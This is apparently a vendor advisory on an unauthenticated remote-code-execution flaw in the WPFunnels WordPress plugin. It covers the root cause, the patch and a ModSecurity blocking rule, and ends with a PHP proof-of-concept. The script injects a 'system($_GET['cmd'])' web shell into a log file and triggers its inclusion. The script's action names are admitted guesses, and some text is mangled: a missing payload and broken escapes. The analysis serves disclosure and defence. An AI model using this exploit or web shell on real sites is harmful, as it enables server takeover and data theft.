Atomic Edge analysis of CVE-2026-14345: This vulnerability allows unauthenticated remote code execution (RCE) in the WPFunnels plugin for WordPress, versions up to and including 3.12.7. The flaw exists in the log viewing functionality, where attacker-controlled data written to a .log file is subsequently included and executed by PHP. The CVSS score is 9.8, indicating critical severity.
Root Cause: The core issue resides in wpfnl_show_log() within wpfunnels/admin/modules/settings/class-wpfnl-settings.php (line 700+). This function uses include_once to render a log file whose path is derived from the postData[‘logKey’] parameter. No sanitization or validation of the logKey parameter occurs in the vulnerable version. Additionally, the logger class (wpfunnels/includes/core/logger/class-wpfnl-logger.php, line 155+) writes attacker-controlled content (header_content and content) into the log file without neutralizing PHP code. The combination of unsanitized write and unchecked include creates the RCE vector. The injection endpoint, which accepts the postData, does not require authentication and its nonce is publicly exposed on funnel step pages.
Exploitation: An unauthenticated attacker sends a POST request to the plugin’s AJAX handler (wp_ajax_nopriv_* or via the publicly accessible optin endpoint) with a postData parameter containing an action that triggers the logger and writes malicious PHP code into a .log file (e.g., wpfnl_log). The attacker can inject PHP code using or similar. The attacker then triggers the wpfnl_show_log function by sending another request with the logKey parameter set to the filename of the polluted log. Since include_once is used, PHP executes the injected code. The attacker must ensure the logKey does not contain directory traversal (patched in the fix), but in the vulnerable version, any path can be used as long as the file exists.
Patch Analysis: The patch introduces multiple layers of defense. First, in class-wpfnl-logger.php, the protect_log_folder() method creates .htaccess and index.php files to deny direct web access to the log directory. The write() method now calls sanitize_log_content() which strips PHP open tags (<?php, <?=, <?) from all log content before writing. Second, in class-wpfnl-settings.php, the wpfnl_show_log() function sanitizes the logKey parameter using basename() to prevent directory traversal, validates that the file has a .log extension, uses realpath() to resolve the canonical path, and checks that the resolved path resides within the logs directory. Finally, instead of using include_once, the patch reads the file with file_get_contents() and outputs it via esc_html() inside a
tag, preventing any PHP execution.
Impact: Successful exploitation grants unauthenticated attackers the ability to execute arbitrary PHP code on the server. This leads to full site compromise, including data theft, privilege escalation, malware injection, and the creation of backdoor accounts. Given the CVSS score of 9.8, the impact is maximal: total loss of confidentiality, integrity, and availability, with no privileges required and no user interaction needed for the initial injection.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-14345
# Block unauthenticated log injection via postData parameter in WPFunnels
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202614345,phase:2,deny,status:403,chain,msg:'CVE-2026-14345 - WPFunnels RCE via log injection',severity:'CRITICAL',tag:'CVE-2026-14345'"
SecRule ARGS_POST:action "@rx ^wpfnl_log$" "chain"
SecRule ARGS_POST:postData "@rx <?php" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14345 - WPFunnels <= 3.12.7 - Unauthenticated Remote Code Execution via 'postData' Parameter
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
// Step 1: Send a request to inject PHP code into a log file.
// The exact AJAX action depends on the plugin's implementation; here we assume 'log_action' is the vulnerable endpoint.
// The payload is written to a file named 'payload.log' (or similar) in the wpfunnels logs directory.
$inject_url = $target_url . '/wp-admin/admin-ajax.php';
$php_payload = '
system($_GET["cmd"]); ?>';
$post_data = array(
'action' => 'wpfnl_log', // Example action; adjust based on actual plugin hooks
'postData' => array(
'logKey' => 'payload.log',
'content' => $php_payload,
),
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $inject_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error injecting payload: ' . curl_error($ch) . "n";
exit;
}
curl_close($ch);
echo "Injection request sent. Response: " . $response . "n";
// Step 2: Trigger the log viewer to execute the injected code.
// The wpfnl_show_log function is typically called via another AJAX request.
$trigger_url = $target_url . '/wp-admin/admin-ajax.php';
$trigger_data = array(
'action' => 'wpfnl_show_log', // Example action; adjust based on actual plugin hooks
'postData' => array(
'logKey' => 'payload.log',
),
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($trigger_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error triggering log viewer: ' . curl_error($ch) . "n";
exit;
}
curl_close($ch);
echo "Log viewer triggered. Response (should contain PHP error or executed code output):n" . $response . "n";
// Note: The exact AJAX actions may differ. Check the plugin source for the specific hooks used for logging and log viewing.
// This PoC assumes the plugin uses 'wpfnl_log' for writing and 'wpfnl_show_log' for reading.
// If the actions differ, update the 'action' values accordingly.
